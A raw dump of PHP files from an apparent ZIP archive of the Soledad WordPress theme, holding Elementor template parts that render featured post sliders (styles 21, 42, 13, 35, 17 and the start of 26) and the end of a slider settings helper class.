				'style-9',
				'style-10',
				'style-11',
				'style-12',
				'style-13',
				'style-14',
				'style-15',
				'style-16',
				'style-17',
				'style-18',
				'style-19',
				'style-20',
				'style-21',
				'style-22',
				'style-23',
				'style-24',
				'style-25',
				'style-26',
				'style-27',
				'style-28'
			) ) ) {
			$slider_class .= ' penci-flat-overlay';
		}

		return $slider_class;
	}

	public function get_slider_data( $settings ) {
		$slider_style = $settings['style'] ? $settings['style'] : 'style-1';

		$output = '';

		if ( $slider_style == 'style-7' || $slider_style == 'style-8' ) {
			$output .= ' data-item="4" data-desktop="4" data-tablet="2" data-tabsmall="1"';
		} elseif ( $slider_style == 'style-9' || $slider_style == 'style-10' ) {
			$output .= ' data-item="3" data-desktop="3" data-tablet="2" data-tabsmall="1"';
		} elseif ( $slider_style == 'style-11' || $slider_style == 'style-12' ) {
			$output .= ' data-item="2" data-desktop="2" data-tablet="2" data-tabsmall="1"';
		}

		$data_next_prev = 'yes' == $settings['shownav'] ? 'true' : 'false';
		$data_dots      = 'yes' == $settings['showdots'] ? 'true' : 'false';
		$output         .= ' data-dots="' . $data_dots . '" data-nav="' . $data_next_prev . '"';

		$output .= ' data-ceffect="' . $settings['carousel_slider_effect'] . '"';
		$output .= ' data-seffect="' . $settings['single_slider_effect'] . '"';
		$output .= ' data-style="' . $slider_style . '"';
		$output .= ' data-auto="' . ( 'yes' == $settings['autoplay'] ? 'true' : 'false' ) . '"';
		$output .= ' data-autotime="' . ( $settings['auto_time'] ? intval( $settings['auto_time'] ) : '4000' ) . '"';
		$output .= ' data-speed="' . ( $settings['speed'] ? intval( $settings['speed'] ) : '600' ) . '"';
		$output .= ' data-loop="' . ( 'yes' == $settings['loop'] ? 'true' : 'false' ) . '"';
		$output .= $settings['slidespg'] ? ' data-slidespg="' . $settings['slidespg'] . '"' : '';
		$output .= $settings['slideTo'] ? ' data-slideTo="' . $settings['slideTo'] . '"' : '';

		return $output;
	}
}
PK     N\5D    A  inc/elementor/modules/penci-featured-sliders/widgets/style-21.phpnu [        <?php
/**
 * Template part for Slider Style 21
 */

$post_thumb_size  = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-thumb';
$bpost_thumb_size = ! empty( $bpost_thumb_size ) ? $bpost_thumb_size : 'penci-magazine-slider';
$penci_is_mobile  = penci_is_mobile();
?>
<?php if ( $feat_query->have_posts() ) : ?>
    <div class="item swiper-slide">
        <div class="wrapper-item wrapper-item-classess">
			<?php $i   = 1;
			$num_posts = $feat_query->post_count;
			while ( $feat_query->have_posts() ) : $feat_query->the_post();
				$thumb = $post_thumb_size;
				if ( $i % 5 == 4 || $i % 5 == 0 ): $thumb = $bpost_thumb_size; endif;

				$sizep = 'small';
				if ( $i % 5 == 4 || $i % 5 == 0 ): $sizep = 'normal'; endif;

				$thumb_mobile = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';

				?>
                <div class="penci-item-mag penci-item-<?php echo( $i % 5 ); ?> <?php echo( ( $i % 5 == 4 || $i % 5 == 0 ) ? 'penci-pitem-big' : 'penci-pitem-small' ) ?>">
					<?php do_action( 'penci_bookmark_post', get_the_ID(), $sizep ); ?>
					<?php if ( ! $disable_lazyload ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(), $thumb, $thumb_mobile ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $penci_is_mobile ? $thumb_mobile : $thumb ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>

                    <div class="penci-slide-overlay penci-slider6-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! $hide_format_icons && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>"
                               class="overlay-icon-format <?php if ( $i % 5 == 4 || $i % 5 == 0 ): echo ' lager-size-icon'; endif; ?>">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( ! $hide_categories && $show_cat ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( $settings['cspost_enable'] || ! $hide_meta_comment || ! $meta_date_hide || $show_viewscount || $show_meta_author ): ?>
                                    <div class="feat-meta">
										<?php if ( $show_meta_author ): ?>
                                            <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
										<?php endif; ?>
										<?php if ( ! $meta_date_hide ): ?>
                                            <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
										<?php endif; ?>
										<?php if ( ! $hide_meta_comment ): ?>
                                            <span class="feat-comments"><a
                                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
										<?php endif; ?>
										<?php
										if ( $show_viewscount ) {
											echo '<span class="feat-countviews">';
											echo penci_get_post_views( get_the_ID() );
											echo ' ' . penci_get_setting( 'penci_trans_countviews' );
											echo '</span>';
										}
										?>
										<?php echo penci_show_custom_meta_fields( [
											'validator' => isset( $settings['cspost_enable'] ) ? $settings['cspost_enable'] : '',
											'keys'      => isset( $settings['cspost_cpost_meta'] ) ? $settings['cspost_cpost_meta'] : '',
											'acf'       => isset( $settings['cspost_cpost_acf_meta'] ) ? $settings['cspost_cpost_acf_meta'] : '',
											'label'     => isset( $settings['cspost_cpost_meta_label'] ) ? $settings['cspost_cpost_meta_label'] : '',
											'divider'   => isset( $settings['cspost_cpost_meta_divider'] ) ? $settings['cspost_cpost_meta_divider'] : '',
										] ); ?>
										<?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>

				<?php if ( $i % 5 == 0 && $i > 1 && $i < $num_posts ): echo '</div></div><div class="item swiper-slide"><div class="wrapper-item wrapper-item-classess">'; endif; ?>

				<?php $i ++; endwhile;
			wp_reset_postdata(); ?>
        </div>
    </div>
<?php endif; ?>
PK     N\ʧB'    A  inc/elementor/modules/penci-featured-sliders/widgets/style-42.phpnu [        <?php
/**
 * Template part for Slider Style 42
 */
$image_size          = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-slider-full-thumb';
if ( penci_is_mobile() ) {
	$image_size = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';
}
$main_id  = 'fsm_' . rand();
$thumb_id = 'fst_' . rand();

$data_attr = '';
$data_attr .= ' data-auto="' . ( 'yes' == $settings['autoplay'] ? 'true' : 'false' ) . '"';
$data_attr .= ' data-autotime="' . ( $settings['auto_time'] ? intval( $settings['auto_time'] ) : '4000' ) . '"';
$data_attr .= ' data-speed="' . ( $settings['speed'] ? intval( $settings['speed'] ) : '600' ) . '"';
$data_attr .= ' data-loop="' . ( 'yes' == $settings['loop'] ? 'true' : 'false' ) . '"';
?>
<div class="penci-slider42-wrapper">
    <div class="penci-slider42-thumb-wrapper">
        <div class="penci-slider42-thumb penci-owl-carousel penci-owl-carousel-slider swiper" data-item="4"
             data-desktop="4" data-tablet="3" data-mobile="2" data-margin="15"
             data-id="<?php echo $thumb_id; ?>"
             <?php echo $data_attr; ?>
             data-thumb="yes" data-height="false" data-loop="true" data-nav="false" data-e="false" data-auto="false">
            <div class="penci-slider42-thumb-inner swiper-wrapper">
				<?php $thumbcount = 0;
				if ( $feat_query->have_posts() ) : while ( $feat_query->have_posts() ) : $feat_query->the_post(); ?>
                    <div class="item swiper-slide">

                    <div class="penci-slider42-t-item">

                       
                        <div class="pcslider-42-ct">
                        <h3><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></h3>
                        </div>

                        </div>

                    </div>
				<?php endwhile;
					wp_reset_postdata(); endif; ?>
            </div>
        </div>
    </div>
    <div class="penci-slider42-main-wrapper">
        <div class="penci-slider42-main penci-owl-carousel penci-owl-carousel-slider swiper" data-nav="true"
             data-loop="true" data-thumbs-id="<?php echo $thumb_id; ?>" data-id="<?php echo $main_id; ?>" <?php echo $data_attr; ?>>
            <div class="swiper-wrapper">
				<?php if ( $feat_query->have_posts() ) : while ( $feat_query->have_posts() ) : $feat_query->the_post(); ?>
                    <div class="item swiper-slide">
                        <a class="penci-slider42-overlay"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
                        <div class="item-inner-content">
                            <a class="penci-image-holder"
                               style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $image_size ); ?>');"
                               href="<?php the_permalink(); ?>"
                               title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>

							<?php if ( ! $center_box ): ?>
                                <div class="penci-featured-content">
                                    <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
										<?php if ( ! $hide_categories && $show_cat ): ?>
                                            <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
										<?php endif; ?>
                                        <h3><a href="<?php the_permalink() ?>"
                                               title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                        </h3>
										<?php if ( $settings['cspost_enable'] || ! $hide_meta_comment || ! $meta_date_hide || $show_viewscount || $show_meta_author ): ?>
                                            <div class="feat-meta fade-in penci-fslider-fmeta">
												<?php if ( $show_meta_author ): ?>
                                                    <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                                href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
												<?php endif; ?>
												<?php if ( ! $meta_date_hide ): ?>
                                                    <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
												<?php endif; ?>
												<?php if ( ! $hide_meta_comment ): ?>
                                                    <span class="feat-comments"><a
                                                                href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
												<?php endif; ?>
												<?php
												if ( $show_viewscount ) {
													echo '<span class="feat-countviews">';
													echo penci_get_post_views( get_the_ID() );
													echo ' ' . penci_get_setting( 'penci_trans_countviews' );
													echo '</span>';
												}
												?>
												<?php echo penci_show_custom_meta_fields( [
													'validator' => isset( $settings['cspost_enable'] ) ? $settings['cspost_enable'] : '',
													'keys'      => isset( $settings['cspost_cpost_meta'] ) ? $settings['cspost_cpost_meta'] : '',
													'acf'       => isset( $settings['cspost_cpost_acf_meta'] ) ? $settings['cspost_cpost_acf_meta'] : '',
													'label'     => isset( $settings['cspost_cpost_meta_label'] ) ? $settings['cspost_cpost_meta_label'] : '',
													'divider'   => isset( $settings['cspost_cpost_meta_divider'] ) ? $settings['cspost_cpost_meta_divider'] : '',
												] ); ?>
                                                <?php do_action( 'penci_extra_meta' ); ?>
												<?php if ( get_the_excerpt() && ! $hide_meta_excerpt ): ?>
                                                    <div class="featured-slider-excerpt">
														<?php
														if ( get_theme_mod( 'penci_excerptcharac' ) ) {
															the_excerpt();
														} else {
															$excerpt_length = get_theme_mod( 'penci_post_excerpt_length', 30 );
															penci_the_excerpt( $excerpt_length );
														}
														?>
                                                    </div>
												<?php endif; ?>
                                            </div>
										<?php endif; ?>
                                        
                                    </div>
                                </div>
							<?php endif; ?>
                        </div>
                    </div>
				<?php endwhile;
					wp_reset_postdata(); endif; ?>
            </div>
        </div>
    </div>
</div>PK     N\	6    A  inc/elementor/modules/penci-featured-sliders/widgets/style-13.phpnu [        <?php
/**
 * Template part for Slider Style 13
 */

$post_thumb_size  = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-thumb-vertical';
$bpost_thumb_size = ! empty( $bpost_thumb_size ) ? $bpost_thumb_size : 'penci-slider-thumb';
$penci_is_mobile  = penci_is_mobile();
?>
<?php if ( $feat_query->have_posts() ) : ?>
    <div class="item swiper-slide">
        <div class="wrapper-item wrapper-item-classess">
			<?php $i   = 1;
			$num_posts = $feat_query->post_count;
			while ( $feat_query->have_posts() ) : $feat_query->the_post();
				$thumb = $post_thumb_size;
				if ( $i % 3 == 1 ): $thumb = $bpost_thumb_size; endif;
				$sizep = 'small';
				if ( $i % 3 == 1 ): $sizep = 'normal'; endif;
				if ( $penci_is_mobile ) {
					$thumb = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';
				}
				?>
                <div class="penci-item-mag penci-item-<?php echo( $i % 3 ); ?> <?php echo( 1 == $i % 3 ? 'penci-pitem-big' : 'penci-pitem-small' ) ?>">
					<?php do_action( 'penci_bookmark_post', get_the_ID(), $sizep ); ?>
					<?php if ( ! $disable_lazyload ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(), $thumb ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $thumb ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>
                    <div class="penci-slide-overlay penci-slider6-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! $hide_format_icons && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>"
                               class="overlay-icon-format <?php if ( $i % 3 == 1 ): echo ' lager-size-icon'; endif; ?>">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( $i % 3 == 1 || $show_cat ): ?>
									<?php if ( ! $hide_categories ): ?>
                                        <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
									<?php endif; ?>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( $settings['cspost_enable'] || ! $hide_meta_comment || ! $meta_date_hide || $show_viewscount || $show_meta_author ): ?>
                                    <div class="feat-meta">
										<?php if ( $show_meta_author ): ?>
                                            <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
										<?php endif; ?>
										<?php if ( ! $meta_date_hide ): ?>
                                            <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
										<?php endif; ?>
										<?php if ( ! $hide_meta_comment ): ?>
                                            <span class="feat-comments"><a
                                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
										<?php endif; ?>
										<?php
										if ( $show_viewscount ) {
											echo '<span class="feat-countviews">';
											echo penci_get_post_views( get_the_ID() );
											echo ' ' . penci_get_setting( 'penci_trans_countviews' );
											echo '</span>';
										}
										?>
										<?php echo penci_show_custom_meta_fields( [
											'validator' => isset( $settings['cspost_enable'] ) ? $settings['cspost_enable'] : '',
											'keys'      => isset( $settings['cspost_cpost_meta'] ) ? $settings['cspost_cpost_meta'] : '',
											'acf'       => isset( $settings['cspost_cpost_acf_meta'] ) ? $settings['cspost_cpost_acf_meta'] : '',
											'label'     => isset( $settings['cspost_cpost_meta_label'] ) ? $settings['cspost_cpost_meta_label'] : '',
											'divider'   => isset( $settings['cspost_cpost_meta_divider'] ) ? $settings['cspost_cpost_meta_divider'] : '',
										] ); ?>
										<?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>

				<?php if ( $i % 3 == 0 && $i > 1 && $i < $num_posts ): echo '</div></div><div class="item swiper-slide"><div class="wrapper-item wrapper-item-classess">'; endif; ?>

				<?php $i ++; endwhile;
			wp_reset_postdata(); ?>
        </div>
    </div>
<?php endif; ?>
PK     N\aiz  z  A  inc/elementor/modules/penci-featured-sliders/widgets/style-35.phpnu [        <?php
/**
 * Template part for Slider Style 35
 */

$post_thumb_size = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-slider-full-thumb';
$penci_is_mobile = penci_is_mobile();

$post_thumb_msize = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';

?>
<?php if ( $feat_query->have_posts() ) : while ( $feat_query->have_posts() ) :
$feat_query->the_post(); ?>
<div class="item swiper-slide swiper-mark-item">
	<?php do_action( 'penci_bookmark_post' ); ?>
	<?php if ( ! $disable_lazyload ) { ?>
    <div class="penci-swiper-mask penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
         data-bgset="<?php echo penci_image_srcset( get_the_ID(), $post_thumb_size, $post_thumb_msize ); ?>"
         data-href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
		<?php } else { ?>
        <div class="penci-swiper-mask penci-image-holder"
             style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $penci_is_mobile ? $post_thumb_msize : $post_thumb_size ); ?>');"
             data-href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
			<?php } ?>
			<?php if ( ! $center_box ): ?>
                <div class="penci-featured-content-right">
                    <div class="feat-text-right">
						<?php if ( ! $hide_categories ): ?>
                            <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
						<?php endif; ?>
                        <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                               href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                        </h3>
						<?php if ( $settings['cspost_enable'] || ( get_the_excerpt() && ! $hide_meta_excerpt ) || ! $hide_meta_comment || ! $meta_date_hide || $show_viewscount ): ?>
                            <div class="featured-content-excerpt">
								<?php if ( ! $hide_meta_comment || ! $meta_date_hide || $show_viewscount || $show_meta_author ): ?>
                                    <div class="feat-meta">
										<?php if ( $show_meta_author ): ?>
                                            <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
										<?php endif; ?>
										<?php if ( ! $meta_date_hide ): ?>
                                            <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
										<?php endif; ?>
										<?php if ( ! $hide_meta_comment ): ?>
                                            <span class="feat-comments"><a
                                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
										<?php endif; ?>
										<?php
										if ( $show_viewscount ) {
											echo '<span class="feat-countviews">';
											echo penci_get_post_views( get_the_ID() );
											echo ' ' . penci_get_setting( 'penci_trans_countviews' );
											echo '</span>';
										}
										?>
										<?php echo penci_show_custom_meta_fields( [
											'validator' => isset( $settings['cspost_enable'] ) ? $settings['cspost_enable'] : '',
											'keys'      => isset( $settings['cspost_cpost_meta'] ) ? $settings['cspost_cpost_meta'] : '',
											'acf'       => isset( $settings['cspost_cpost_acf_meta'] ) ? $settings['cspost_cpost_acf_meta'] : '',
											'label'     => isset( $settings['cspost_cpost_meta_label'] ) ? $settings['cspost_cpost_meta_label'] : '',
											'divider'   => isset( $settings['cspost_cpost_meta_divider'] ) ? $settings['cspost_cpost_meta_divider'] : '',
										] ); ?>
										<?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
								<?php endif; ?>
								<?php if ( get_the_excerpt() && ! $hide_meta_excerpt ): ?>
									<?php
									if ( get_theme_mod( 'penci_excerptcharac' ) ) {
										the_excerpt();
									} else {
										$excerpt_length = get_theme_mod( 'penci_post_excerpt_length', 30 );
										penci_the_excerpt( $excerpt_length );
									}
									?>
								<?php endif; ?>
                            </div>
						<?php endif; ?>
                        <div class="penci-featured-slider-button">
                            <a href="<?php the_permalink() ?>"><?php echo penci_get_setting( 'penci_trans_read_more' ); ?></a>
                        </div>
                    </div>
                </div>
			<?php endif; ?>
        </div>
    </div>
	<?php endwhile;
	wp_reset_postdata();
	endif; ?>
PK     N\rm    A  inc/elementor/modules/penci-featured-sliders/widgets/style-17.phpnu [        <?php
/**
 * Template part for Slider Style 17
 */

$post_thumb_size  = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-thumb';
$bpost_thumb_size = ! empty( $bpost_thumb_size ) ? $bpost_thumb_size : 'penci-magazine-slider';
$penci_is_mobile  = penci_is_mobile();
?>
<?php if ( $feat_query->have_posts() ) : ?>
    <div class="item swiper-slide">
        <div class="wrapper-item wrapper-item-classess">
			<?php $i   = 1;
			$num_posts = $feat_query->post_count;
			while ( $feat_query->have_posts() ) : $feat_query->the_post();
				$thumb = $post_thumb_size;
				$sizep = 'small';
				if ( $i % 5 == 3 ): $thumb = $bpost_thumb_size;
					$sizep                 = 'normal'; endif;
				if ( $penci_is_mobile ) {
					$thumb = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';
				}
				?>
				<?php if ( $i % 5 == 1 ): ?>
                    <div class="penci-slider17-mag-item penci-slide17-item-<?php echo( $i % 5 ); ?>">
				<?php endif; ?>

                <div class="penci-item-mag penci-item-<?php echo( $i % 5 ); ?> <?php echo( $i % 5 == 3 ? 'penci-pitem-big' : 'penci-pitem-small' ) ?>">
					<?php do_action( 'penci_bookmark_post', get_the_ID(), $sizep ); ?>
					<?php if ( ! $disable_lazyload ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(), $thumb ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $thumb ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>
                    <div class="penci-slide-overlay penci-slider6-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! $hide_format_icons && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>"
                               class="overlay-icon-format <?php if ( $i % 5 == 3 ): echo ' lager-size-icon'; endif; ?>">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( ( $i % 5 == 3 || $show_cat ) && ! $hide_categories ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( $settings['cspost_enable'] || ! $hide_meta_comment || ! $meta_date_hide || $show_viewscount || $show_meta_author ): ?>
                                    <div class="feat-meta">
										<?php if ( $show_meta_author ): ?>
                                            <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
										<?php endif; ?>
										<?php if ( ! $meta_date_hide ): ?>
                                            <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
										<?php endif; ?>
										<?php if ( ! $hide_meta_comment ): ?>
                                            <span class="feat-comments"><a
                                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
										<?php endif; ?>
										<?php
										if ( $show_viewscount ) {
											echo '<span class="feat-countviews">';
											echo penci_get_post_views( get_the_ID() );
											echo ' ' . penci_get_setting( 'penci_trans_countviews' );
											echo '</span>';
										}
										?>
										<?php echo penci_show_custom_meta_fields( [
											'validator' => isset( $settings['cspost_enable'] ) ? $settings['cspost_enable'] : '',
											'keys'      => isset( $settings['cspost_cpost_meta'] ) ? $settings['cspost_cpost_meta'] : '',
											'acf'       => isset( $settings['cspost_cpost_acf_meta'] ) ? $settings['cspost_cpost_acf_meta'] : '',
											'label'     => isset( $settings['cspost_cpost_meta_label'] ) ? $settings['cspost_cpost_meta_label'] : '',
											'divider'   => isset( $settings['cspost_cpost_meta_divider'] ) ? $settings['cspost_cpost_meta_divider'] : '',
										] ); ?>
										<?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>

				<?php if ( $i % 5 == 2 || $i % 5 == 3 ): ?>
                    </div><div class="penci-slider17-mag-item penci-slide17-item-<?php echo( $i % 5 ); ?>">
				<?php endif; ?>

				<?php if ( $i % 5 == 0 && $i > 1 && $i < $num_posts ): echo '</div></div></div><div class="item swiper-slide"><div class="wrapper-item wrapper-item-classess">'; endif; ?>

				<?php if ( $i == $num_posts ): ?>
                    </div>
				<?php endif; ?>

				<?php $i ++; endwhile;
			wp_reset_postdata(); ?>
        </div>
    </div>
<?php endif; ?>
PK     N\)ݵj  j  A  inc/elementor/modules/penci-featured-sliders/widgets/style-26.phpnu [        <?php
/**
 * Template part for Slider Style 26
 */

$post_thumb_size  = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-thumb';
$bpost_thumb_size = ! empty( $bpost_thumb_size ) ? $bpost_thumb_size : 'penci-thumb-square';
$penci_is_mobile  = penci_is_mobile();
?>
<?php if ( $feat_query->have_posts() ) : ?>
    <div class="item swiper-slide">
        <div class="wrapper-item wrapper-item-classess">
			<?php $i   = 1;
			$num_posts = $feat_query->post_count;
			while ( $feat_query->have_posts() ) : $feat_query->the_post();
				$thumb = $post_thumb_size;
